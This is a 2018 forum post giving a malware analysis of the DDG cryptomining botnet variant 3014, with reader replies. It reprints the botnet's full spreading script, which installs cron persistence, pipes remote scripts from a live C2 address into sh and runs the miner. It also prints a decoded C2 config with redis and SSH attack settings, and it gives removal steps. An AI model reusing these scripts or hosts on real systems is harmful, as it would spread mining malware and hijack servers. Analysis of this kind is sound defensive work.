吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 26797|回复: 59
收起左侧

[PC样本分析] DDG最新变种3014样本分析

  [复制链接]
Net丶S 发表于 2018-12-19 18:18
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Net丶S 于 2018-12-21 09:57 编辑

之前偶然发现了ddgs的全新版本3014,正好之前也没仔细分析过ddg挖矿家族,这次仔细分析一下,还有一些地方没太懂,大致写出来。
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。DDG最早出现在2017年,此后不断更新,从2017年10月开始,DDG先后发布了 201x, 202x, 301x 三个大的系列版本,内部分为6个小的版本,以及若干小版本内部的补丁修正。最新版通过SSH弱口令和redis未授权访问来传播,早期版本还利用过strust2和OrientOB作为攻击手段。
一、基本信息
目前存活的最新C2地址上可以看到全部的样本,如下:

ddg全家福

ddg全家福

查看最新的ddgs3014:
ddgs3014目录.png
主要传播脚本地址:http://13.113.240.221:8000/i.sh ,内容:
[Bash shell] 纯文本查看 复制代码
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm -rf /tmp/ddgs.3014
if [ ! -f "/tmp/ddgs.3014" ]; then
    wget -q http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -O /tmp/ddgs.3014
    curl -fsSL http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -o /tmp/ddgs.3014
fi
chmod +x /tmp/ddgs.3014 && /tmp/ddgs.3014

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

二、样本行为分析
从上文中i.sh代码中可以看到,i.sh主要做了三步,首先将下载自身并执行写入定时任务,然后下载主文件ddgs.3014并执行,最后杀掉其他常见挖矿进程。下面主要分析ddgs.3014。
IDA直接加载64位的样本文件ddgs.3014,样本是一个已经去除了符号的二进制文件,看不到函数名,这种情况下首先想办法还原函数名,目前还原函数名有两种方式,IDA的flair制作签名文件还原和使用Python脚本还原。根据以往的资料得知ddgs是go语言编写,如果不知道可以通过汇编特征比对判断编写语言,go语言有一个作者提供了一个函数名还原脚本,使用IDAPython脚本还原函数名,作者博客:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/
用这个脚本可以直接还原出部分函数名,这样我们就可以通过函数名来获取一些信息,直接搜索找到main_main函数,同时还发现几个可疑函数main_Newminerd,main_backdoor等:

还原函数名

还原函数名

这里先不管,直接看main函数首先检查了环境,通过后会调用makedaemon函数把自己变成守护进程:

守护进程.png

然后调用三个函数,分别执行新建守护进程,写入后门,进行挖矿。

新建守护进程

新建守护进程

main_NewGuard函数调用main__backdoor_background将控制者的SSHKey写入到了authorized_key文件中。

注入sshkey.png

main_NewMinerd函数,分为几个步骤,首先遍历自带IP列表中的地址,发送请求下载矿机到/tmp目录下,然后请求C2获取挖矿的配置信息,再启动挖矿,函数调用顺序为main_NewMinerd->main__minerd_background,background里面循环执行ddgs_cmd__XRun_Do,去下载并执行矿机。

矿机执行

矿机执行

然后会将内置的IP列表解码并初始化,得到内置C2列表,开始无限循环,这一部分前一半和矿机去请求C2获取挖矿地址钱包等信息的操作相同,都是向这个地址发送请求,解析返回的信息提取需要的,只是这部分会根据另外的信息执行传播:

首先请求http://ip:8000/slave:

循环主体.png

Main_pingpang函数中会向指定IP发起http请求,获取返回结果,请求地址为http://ip:8000/slave,如果返回200,则一并返回一段msgpack编码的信息。如下图:

发送请求:

请求包.png

发送请求的函数中拼接地址

拼接请求地址

拼接请求地址

请求的http流

返回的信息

返回的信息

如果找到了存活的C2并且收到了返回信息,就把msgpack编码的信息解码:

对返回的信息解码

对返回的信息解码

根据C2返回的信息,会执行矿机的更新,调用下一步攻击操作函数cmd_table,在ddgs_cmd__Table_Do函数中会根据解码后的信息,调用ddgs_cmd__AAredis_exploit函数和ddgs_cmd__AAssh_Test函数进一步攻击,传播,到这个位置是一整个循环,主进程会一直重复这个循环。

根据返回信息进行下一波操作

根据返回信息进行下一波操作

目前测试只会进行挖矿,没有扫描,说明C2没有下发扫描的信息。

msgpack编码的信息包含了挖矿的矿池,要下载的脚本,SSH弱口令和redis的利用范围等等信息,解码后的内容大致如下:

[XML] 纯文本查看 复制代码
{Data: 
    Config:
    Interval: "360s";
    Miner: [{
        Exe: "/tmp/qW3xT.4",
        Md5: 9dd8c5b1dc74286d81bc78372d9b7f27,
        Url: "/static/qW3xT.4"
    }], 
    Cmd:[
        AAredis:{
            Id: 6093,
            Version: 3021,
            ShellUrl: "http://13.113.240.221:8000/i.sh"
            NThreads: 204,
            Duration: "240h”,
            IPDuration: "26h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (5379, 6379, 7379)
        },
        AAssh:{
            Id: 2253,
            Version: 3021,
            ShellUrl: "http://13.113.240.221:8000/i.sh", 
            Duration: "240h”,
            IPDuration: "312h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (22, 2222)
        },
        Sh:[
            {
                Id: 398,
                Version: 255,
                Timeout "120s",
                Line: "curl -fsSL http://13.113.240.221:8000/static/disable.sh | sh"
            },{
                Id: 461,
                Version: 3013,
                Line: "curl -fsSL http://13.113.240.221:8000/i.sh | sh",
                Timeout: "120s",
                Killer: 132
            },{
                Id: 388,
                Version: 3014,
                Expr: "/tmp/ddgs.3013"
                Timeout: "360s"
            },{
                Id: 389,
                Version: 3014,
                Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+",
                Timeout: "360s"
            },{
                Id: 390,
                Version: 3014,
                Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg",
                Timeout: "360s"
            },{
                Id: 381,
                Version: 255,
                Expr: "/tmp/2t3ik.+"
            },{
                Id: 397,
                Version: 255,
                Expr: "/tmp/qW3xT.+",
                Timeout: "360s"
            }
        ]
    ],
    Signature: 
        'B|\x88Q\xe1"E\x12;\x8f\xf0$\n\xca\xce\x8da\x89\xfcW\x1d\x9dm\x10\x01\xf9\x84H\x19\x03\xc70e\xa2[\x04\xd1G\xba\xabQ;\x9d\xc7\x01C\x17k\xad\x9a-\x9c\xae\x82\xd2\xb8\x80\x81}\xdd\xb9@\xf1\x7fE\xd6\xed\xab\xe9\x08\xb2-\x8c\xad\xfd\xe9 "R\xdd\x91Y\xffgf\xaf\xb6y0\x8c$\x18\xad\xb8\xcb\xe89.\x01\x16\xfb\xf0\x93\xfaBA>]h+F\xe4\xd9\x9c\xc1\x1cOI\xd7\x16P%\xec~\xee\xeb`\x8d\xbe\xf7\x07\x1dM\x85\x88\x8eT\xcc\xb8 x`\n\xc2\xf7X\xc1E\x8e)\x1c\x16n\xebw\x13\xef=;\x1f_Y7Zof(/\x19#\xf1\xbb\xb9s\x86;\x11zlC\xcbh\xfa\xb0\xca\xd6%\nQ\x948L\x8c_\xc8\xb5O6(Y\x99\xa2\xfb\x04\xef\xf2\xbe\x11\xc7w\xc7\x87\x0e\xc2\xe3\xbca)|\xea0 "\x8b\x96q\x14q\xe68\xb7\x1eo\x16\x02\xd4\xba\xfc\\\x8a\x95\x18\xb1\xc9>p=\xb0\xf6\xf6N\xa5\x87;\xde\xf4\xb4\x83'
    }

三、清除方法
  清除定时任务
  删除/var/spool/cron/crontabs/root文件内的
  */15 * * * * curl -fsSLhttp://13.113.240.221:8000/i.sh | sh
  删除/var/spool/cron/root文件内的
  */5 * * * * wget -q -O-http://165.225.157.157:8000/i.sh | sh
  删除/tmp/ddgs.3014 /tmp/qW3xT.4  /tmp/qW3xT.3  
  杀死 ddgs.3014  qW3xT.4进程


样本比较大,传不上来,可以直接去C2下载,目前还存活,后续失效了还想要的联系我吧

免费评分

参与人数 22吾爱币 +21 热心值 +19 收起 理由
youhen233 + 1 + 1 谢谢@Thanks!
莽撞人 + 1 + 1 热心回复!
a74307011 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
孤ii + 1 我很赞同!
Renn_Su + 1 + 1 用心讨论,共获提升!
desertcola + 1 + 1 热心回复!
bingtangbing + 1 + 1 谢谢@Thanks!
采花门门主 + 1 用心讨论,共获提升!
十载 + 1 + 1 我很赞同!
simplex + 1 + 1 用心讨论,共获提升!
1011406836 + 1 + 1 我很赞同!
上官逸风 + 1 + 1 谢谢@Thanks!
lg00518 + 1 + 1 我很赞同!
珍惜幸福涙 + 1 + 1 谢谢@Thanks!
Royal、Wh1t3zZ + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
jnez112358 + 1 + 1 谢谢@Thanks!
sunnylds7 + 1 + 1 热心回复!
siuhoapdou + 1 + 1 谢谢@Thanks!
ddOsenpai + 1 + 1 thank you sir
黑木棍 + 1 + 1 谢谢@Thanks!
609980218 + 1 用心讨论,共获提升!
adys + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2018-12-19 18:39
可以把图片加以说明贴一下,方法:https://www.52pojie.cn/misc.php? ... 29&messageid=36
 楼主| Net丶S 发表于 2018-12-20 09:34
Hmily 发表于 2018-12-19 18:39
可以把图片加以说明贴一下,方法:https://www.52pojie.cn/misc.php?mod=faq&action=faq&id=29&messageid=3 ...

晕 我昨天还没写完 网页没关出去了,自动发出来了
ChinaF 发表于 2018-12-19 21:40
read5 发表于 2018-12-19 22:10
感谢楼主分享,学习中
wangzhenuen 发表于 2018-12-20 09:17

感谢楼主分享
779705 发表于 2018-12-20 11:58
感谢分享。
xiaosir 发表于 2018-12-20 13:25
感谢楼主分享,学习中
Armin1990 发表于 2018-12-20 14:28
感谢楼主分享
X142346856x 发表于 2018-12-20 17:54
后悔进来了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表